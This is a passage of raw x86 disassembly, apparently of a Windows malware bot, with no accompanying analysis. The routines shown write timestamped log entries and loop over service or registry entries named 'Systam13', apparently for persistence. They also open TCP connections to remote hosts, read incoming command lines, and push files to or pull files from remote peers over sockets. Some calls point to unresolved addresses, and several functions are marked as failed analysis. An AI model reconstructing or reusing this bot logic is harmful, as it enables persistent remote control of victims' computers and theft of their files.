[ebp+var_34], ebx jbe short loc_40BD22 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_418C10 add esp, 0Ch loc_40BD22: ; CODE XREF: sub_40BC4B+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_40BD40 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_418C10 add esp, 0Ch loc_40BD40: ; CODE XREF: sub_40BC4B+DEj cmp [ebp+var_20], ebx jbe short loc_40BD5A push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_418C10 add esp, 0Ch loc_40BD5A: ; CODE XREF: sub_40BC4B+F8j cmp [ebp+var_18], ebx jbe short loc_40BD74 push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_418C10 add esp, 0Ch loc_40BD74: ; CODE XREF: sub_40BC4B+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_43AD48 call dword_43AD6C mov esi, eax cmp esi, ebx jz short loc_40BDFD push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_43AD60 cmp eax, ebx mov [ebp+var_4], eax jz short loc_40BE04 push ebx push ebx push ebx push ebx push eax call dword_43AD14 test eax, eax jz short loc_40BDDE push offset dword_42DF54 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDDE: ; CODE XREF: sub_40BC4B+18Aj push offset unk_42DF08 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDE5: ; CODE XREF: sub_40BC4B+B7j lea eax, [ebp+var_55C] push offset dword_42DEDC push eax call sub_4172B0 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_40BE17 ; --------------------------------------------------------------------------- loc_40BDFD: ; CODE XREF: sub_40BC4B+153j push offset unk_42DEA0 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BE04: ; CODE XREF: sub_40BC4B+17Bj push offset unk_42DE60 loc_40BE09: ; CODE XREF: sub_40BC4B+191j ; sub_40BC4B+198j ... lea eax, [ebp+var_55C] push eax call sub_4172B0 pop ecx pop ecx loc_40BE17: ; CODE XREF: sub_40BC4B+1B0j cmp [ebp+var_1D4], ebx jnz short loc_40BE42 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_40D679 add esp, 14h loc_40BE42: ; CODE XREF: sub_40BC4B+1D2j lea eax, [ebp+var_55C] push eax call sub_40BF6D pop ecx push esi call dword_43ADCC push [ebp+var_4] call dword_43ADCC push [ebp+var_1D8] call sub_417078 pop ecx push ebx nop call near ptr 2610350h pop edi pop esi pop ebx sub_40BC4B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE75 proc near ; CODE XREF: sub_40EE72+448Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43FA70 mov edi, 0B8h loc_40BE89: ; CODE XREF: sub_40BE75+33j cmp byte ptr [esi], 0 jz short loc_40BEAC push [ebp+arg_0] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40BEAC inc [ebp+var_4] add esi, edi cmp esi, offset dword_4405F0 jl short loc_40BE89 jmp short loc_40BEEE ; --------------------------------------------------------------------------- loc_40BEAC: ; CODE XREF: sub_40BE75+17j ; sub_40BE75+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43FA70[esi] push ebx call sub_417330 push 17h push [ebp+arg_0] push ebx call sub_418C10 push 9Fh lea eax, dword_43FA88[esi] push [ebp+arg_4] push eax call sub_418C10 add esp, 24h inc dword_42F794 pop ebx loc_40BEEE: ; CODE XREF: sub_40BE75+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40BE75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEF5 proc near ; CODE XREF: sub_40EE72+5B58p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_42DF90 push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h xor edi, edi mov esi, offset dword_43FA70 loc_40BF1F: ; CODE XREF: sub_40BEF5+72j cmp byte ptr [esi], 0 jz short loc_40BF5A lea eax, [esi+18h] push eax push esi push edi push offset dword_42DF84 lea eax, [ebp+var_200] push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch loc_40BF5A: ; CODE XREF: sub_40BEF5+2Dj add esi, 0B8h inc edi cmp esi, offset dword_4405F0 jl short loc_40BF1F pop edi pop esi leave retn sub_40BEF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF6D proc near ; CODE XREF: sub_401000+9Ap ; sub_4010B5+314p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 26204BDh mov ebx, offset dword_43F164 mov edi, 80h mov esi, offset dword_43B164 loc_40BF8F: ; CODE XREF: sub_40BF6D+3Dj cmp byte ptr [ebx], 0 jz short loc_40BFA6 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_418C10 add esp, 0Ch loc_40BFA6: ; CODE XREF: sub_40BF6D+25j sub ebx, edi cmp ebx, esi jge short loc_40BF8F movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41782A add esp, 28h pop edi pop esi pop ebx leave retn sub_40BF6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFE1 proc near ; CODE XREF: sub_407BDE+15Bp ; ___:00407F15p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_4193FF lea eax, [ebp+var_80] push eax call sub_40BF6D add esp, 14h leave retn sub_40BFE1 endp ; =============== S U B R O U T I N E ======================================= sub_40C00D proc near ; CODE XREF: sub_40EE72+5A4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_43B164 xor ecx, ecx loc_40C014: ; CODE XREF: sub_40C00D+13j mov [eax], cl add eax, 80h cmp eax, offset dword_43F164 jl short loc_40C014 cmp [esp+arg_C], ecx push esi mov esi, offset dword_42DFC4 jnz short loc_40C044 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_40D679 add esp, 14h loc_40C044: ; CODE XREF: sub_40C00D+1Fj push esi call sub_40BF6D pop ecx pop esi retn sub_40C00D endp ; =============== S U B R O U T I N E ======================================= sub_40C04D proc near ; CODE XREF: sub_402DD7+2AEp arg_0 = dword ptr 4 push esi mov esi, offset dword_43B164 loc_40C053: ; CODE XREF: sub_40C04D+27j cmp byte ptr [esi], 0 jz short loc_40C068 push [esp+4+arg_0] push esi call sub_40A96F pop ecx test eax, eax pop ecx jnz short loc_40C07A loc_40C068: ; CODE XREF: sub_40C04D+9j add esi, 80h cmp esi, offset dword_43F164 jl short loc_40C053 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40C07A: ; CODE XREF: sub_40C04D+19j push 1 pop eax pop esi retn sub_40C04D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C07F proc near ; DATA XREF: sub_40EE72+5B02o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40C0D2 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_42E018 push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C0D2: ; CODE XREF: sub_40C07F+33j cmp [ebp+var_98], 0 jz short loc_40C0F2 lea eax, [ebp+var_98] push eax call sub_41781F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40C0F2 mov [ebp+var_8], eax loc_40C0F2: ; CODE XREF: sub_40C07F+5Aj ; sub_40C07F+6Ej and [ebp+arg_0], 0 mov esi, offset dword_43B164 loc_40C0FB: ; CODE XREF: sub_40C07F+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40C155 cmp byte ptr [esi], 0 jz short loc_40C144 cmp [ebp+var_98], 0 jz short loc_40C12A cmp [ebp+var_4], 0 jnz short loc_40C12A lea eax, [ebp+var_98] push eax push esi call sub_40A96F pop ecx test eax, eax pop ecx jz short loc_40C144 loc_40C12A: ; CODE XREF: sub_40C07F+90j ; sub_40C07F+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C144: ; CODE XREF: sub_40C07F+87j ; sub_40C07F+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_43F164 jl short loc_40C0FB loc_40C155: ; CODE XREF: sub_40C07F+82j lea eax, [ebp+var_31C] push offset dword_42DFEC push eax call sub_4172B0 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40C18F push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C18F: ; CODE XREF: sub_40C07F+EEj lea eax, [ebp+var_31C] push eax call sub_40BF6D push [ebp+var_18] call sub_417078 pop ecx pop ecx push esi nop call near ptr 2610350h pop edi pop esi sub_40C07F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C1AE proc near ; CODE XREF: sub_40AC42+1Ep ; ___:0040E9EFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_42E038 xor esi, esi mov ebx, offset aSystam13 ; "Systam13" loc_40C1C1: ; CODE XREF: sub_40C1AE+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_43AD4C cmp [ebp+arg_0], esi jz short loc_40C1FB push [ebp+arg_0] call sub_417AB0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_43ADBC jmp short loc_40C205 ; --------------------------------------------------------------------------- loc_40C1FB: ; CODE XREF: sub_40C1AE+2Fj push ebx push [ebp+var_4] call dword_43AD04 loc_40C205: ; CODE XREF: sub_40C1AE+4Bj push [ebp+var_4] call dword_43AD74 add edi, 8 cmp edi, offset dword_42E050 jb short loc_40C1C1 pop edi pop esi pop ebx leave retn sub_40C1AE endp ; =============== S U B R O U T I N E ======================================= sub_40C21E proc near ; CODE XREF: sub_40C259+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_40C253 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_40C237: ; CODE XREF: sub_40C21E+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_424298[eax*4] xor esi, eax inc edx dec edi jnz short loc_40C237 pop edi pop ebx loc_40C253: ; CODE XREF: sub_40C21E+Ej mov eax, esi pop esi not eax retn sub_40C21E endp ; =============== S U B R O U T I N E ======================================= sub_40C259 proc near ; CODE XREF: sub_40CAF1+24Ap var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_417B89 mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_4179A8 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40C2A8 loc_40C27E: ; CODE XREF: sub_40C259+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_40C2AC inc ebx push ebx push esi call sub_41944F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40C2A8 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_418A86 add esp, 10h jmp short loc_40C27E ; --------------------------------------------------------------------------- loc_40C2A8: ; CODE XREF: sub_40C259+23j ; sub_40C259+39j xor eax, eax jmp short loc_40C2C7 ; --------------------------------------------------------------------------- loc_40C2AC: ; CODE XREF: sub_40C259+29j dec ebx push ebx push esi call sub_40C21E push esi mov ebx, eax call sub_417C3B push edi call sub_417900 add esp, 10h mov eax, ebx loc_40C2C7: ; CODE XREF: sub_40C259+51j pop edi pop esi pop ebx retn sub_40C259 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2CB proc near ; CODE XREF: sub_40C351+33p ; sub_40C8B4+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_43AE18 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_40C347 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_43AD98 push [ebp+arg_0] mov [ebp+var_E], ax call dword_43ADD8 cmp eax, esi jnz short loc_40C32C push [ebp+arg_0] call dword_43AE1C test eax, eax jz short loc_40C347 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_40C32C: ; CODE XREF: sub_40C2CB+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_43AD40 cmp eax, esi jnz short loc_40C34B push edi call dword_43AE30 loc_40C347: ; CODE XREF: sub_40C2CB+1Bj ; sub_40C2CB+58j mov eax, esi jmp short loc_40C34D ; --------------------------------------------------------------------------- loc_40C34B: ; CODE XREF: sub_40C2CB+73j mov eax, edi loc_40C34D: ; CODE XREF: sub_40C2CB+7Ej pop edi pop esi leave retn sub_40C2CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C351 proc near ; DATA XREF: sub_40EE72+A88o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_40C2CB mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40C3E4 lea eax, [ebp+var_11B4] push offset dword_42E0D4 push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C3C7 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C3C7: ; CODE XREF: sub_40C351+59j lea eax, [ebp+var_11B4] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi nop call near ptr 2610350h loc_40C3E4: ; CODE XREF: sub_40C351+3Fj push offset byte_436EDC push ebx call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40C44F lea eax, [ebp+var_11B4] push offset dword_42E094 push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C42B push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C42B: ; CODE XREF: sub_40C351+BDj lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43AE30 push [ebp+var_10] call sub_417078 pop ecx push esi nop call near ptr 2610350h loc_40C44F: ; CODE XREF: sub_40C351+A3j push 64h call near ptr 2620000h nop xor edi, edi mov esi, 1000h loc_40C45E: ; CODE XREF: sub_40C351+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_43ADB0 test eax, eax jle short loc_40C4BB lea eax, [ebp+var_11B4] push offset asc_42A660 ; "\n" push eax call sub_4179D0 lea eax, [ebp+var_11B4] push eax call sub_40B358 add esp, 0Ch test eax, eax jz short loc_40C4BB push 64h nop call near ptr 2620000h push 7 call sub_416FA4 test eax, eax pop ecx jnz short loc_40C45E loc_40C4BB: ; CODE XREF: sub_40C351+130j ; sub_40C351+154j lea eax, [ebp+var_11B4] push offset dword_42E050 push eax call sub_4172B0 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_40C4EE push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C4EE: ; CODE XREF: sub_40C351+180j lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43AE30 push [ebp+var_10] call sub_417078 pop ecx push edi nop call near ptr 2610350h sub_40C351 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C512 proc near ; DATA XREF: sub_40EE72+4A7Co var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_40C560 push offset dword_42E258 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C560: ; CODE XREF: sub_40C512+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_43AD98 mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_43ADC4 test eax, eax jz short loc_40C59E push offset dword_42E224 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C59E: ; CODE XREF: sub_40C512+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_43AD3C push [ebp+var_2E] call dword_43ACD4 mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_417AB0 pop ecx loc_40C5D0: ; CODE XREF: sub_40C512+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_40C5E3 push 5Fh pop eax jmp short loc_40C5E6 ; --------------------------------------------------------------------------- loc_40C5E3: ; CODE XREF: sub_40C512+CAj movsx eax, al loc_40C5E6: ; CODE XREF: sub_40C512+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jbe short loc_40C5D0 push ebx push edi call dword_43ADC0 test eax, eax jz short loc_40C619 push offset dword_42E0D4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C619: ; CODE XREF: sub_40C512+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax nop call near ptr 26508D5h cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40C643 push offset dword_42E1F4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C643: ; CODE XREF: sub_40C512+125j push esi push eax nop call near ptr 2690000h mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AEE0 pop ecx push eax call dword_43ADD8 push eax call dword_43AD94 push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_42E1DC push eax call sub_4172B0 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_43AD80 test eax, eax jg short loc_40C6F3 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_42E1B4 push eax push [ebp+var_1FC] call sub_40D679 jmp loc_40C817 ; --------------------------------------------------------------------------- loc_40C6F3: ; CODE XREF: sub_40C512+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_43AE2C cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_40C72C push offset dword_42E180 loc_40C719: ; CODE XREF: sub_40C512+49j ; sub_40C512+87j ... lea eax, [ebp+var_3FC] push eax call sub_4172B0 pop ecx pop ecx jmp loc_40C81A ; --------------------------------------------------------------------------- loc_40C72C: ; CODE XREF: sub_40C512+200j push edi call dword_43AE30 cmp [ebp+arg_0], esi jz loc_40C7DE mov edi, 400h loc_40C741: ; CODE XREF: sub_40C512+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_40C74E mov [ebp+var_4], eax loc_40C74E: ; CODE XREF: sub_40C512+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_417330 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call near ptr 26D0000h nop lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] nop call near ptr 26310C3h push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_43ADE8 mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_43ADB0 cmp eax, ebx jl loc_40C873 mov eax, [ebp+var_4] cmp eax, ebx jl loc_40C873 sub [ebp+arg_0], eax jnz loc_40C741 mov edi, [ebp+var_18] loc_40C7DE: ; CODE XREF: sub_40C512+224j push [ebp+var_8] nop call near ptr 26318FCh push [ebp+var_C] push [ebp+var_10] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call dword_43AE24 push eax lea eax, [ebp+var_3FC] push offset dword_42E130 push eax call sub_4172B0 loc_40C817: ; CODE XREF: sub_40C512+1DCj add esp, 14h loc_40C81A: ; CODE XREF: sub_40C512+215j cmp [ebp+var_50], esi jnz short loc_40C83F push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 14h loc_40C83F: ; CODE XREF: sub_40C512+30Bj lea eax, [ebp+var_3FC] push eax call sub_40BF6D cmp edi, esi pop ecx jbe short loc_40C857 push edi call dword_43AE30 loc_40C857: ; CODE XREF: sub_40C512+33Cj push [ebp+var_1F8] call dword_43AE30 push [ebp+var_58] call sub_417078 pop ecx push esi nop call near ptr 2610350h loc_40C873: ; CODE XREF: sub_40C512+2AFj ; sub_40C512+2BAj push esi mov esi, offset dword_42E108 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_40D679 push esi call sub_40BF6D add esp, 18h push [ebp+var_1F8] call dword_43AE30 push [ebp+var_58] call sub_417078 pop ecx push ebx call near ptr 2610350h nop sub_40C512 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8B4 proc near ; DATA XREF: sub_40EE72+7C0o var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push 104h push eax nop call near ptr 2620087h lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset aSS_2 ; "%s%s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 26508D5h cmp eax, 0FFFFFFFFh jnz short loc_40C93E push offset dword_42E350 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C93E: ; CODE XREF: sub_40C8B4+81j push eax call near ptr 26318FCh nop lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_40C966 push offset dword_42E310 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C966: ; CODE XREF: sub_40C8B4+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_40C2CB pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40C997 push offset dword_42E2E0 loc_40C984: ; CODE XREF: sub_40C8B4+88j ; sub_40C8B4+B0j lea eax, [ebp+var_4C4] push eax call sub_4172B0 pop ecx pop ecx jmp loc_40CA93 ; --------------------------------------------------------------------------- loc_40C997: ; CODE XREF: sub_40C8B4+C9j mov esi, 1000h loc_40C99C: ; CODE XREF: sub_40C8B4+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_43ADB0 mov edi, eax cmp edi, ebx jz loc_40CA63 cmp edi, 0FFFFFFFFh jz short loc_40CA04 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_4196EF add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_43AD94 mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_43ADE8 jmp short loc_40C99C ; --------------------------------------------------------------------------- loc_40CA04: ; CODE XREF: sub_40C8B4+118j lea eax, [ebp+var_4C4] push offset dword_42E108 push eax call sub_4172B0 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 lea eax, [ebp+var_4C4] push eax call sub_40BF6D push [ebp+var_4] call sub_417900 add esp, 24h push [ebp+arg_0] call dword_43AE30 push [ebp+var_1C] call sub_417078 pop ecx push 1 nop call near ptr 2610350h loc_40CA63: ; CODE XREF: sub_40C8B4+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset dword_42E28C push eax call sub_4172B0 add esp, 14h loc_40CA93: ; CODE XREF: sub_40C8B4+DEj cmp [ebp+var_14], ebx jnz short loc_40CAB8 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 add esp, 14h loc_40CAB8: ; CODE XREF: sub_40C8B4+1E2j lea eax, [ebp+var_4C4] push eax call sub_40BF6D cmp [ebp+var_4], ebx pop ecx jz short loc_40CAD3 push [ebp+var_4] call sub_417900 pop ecx 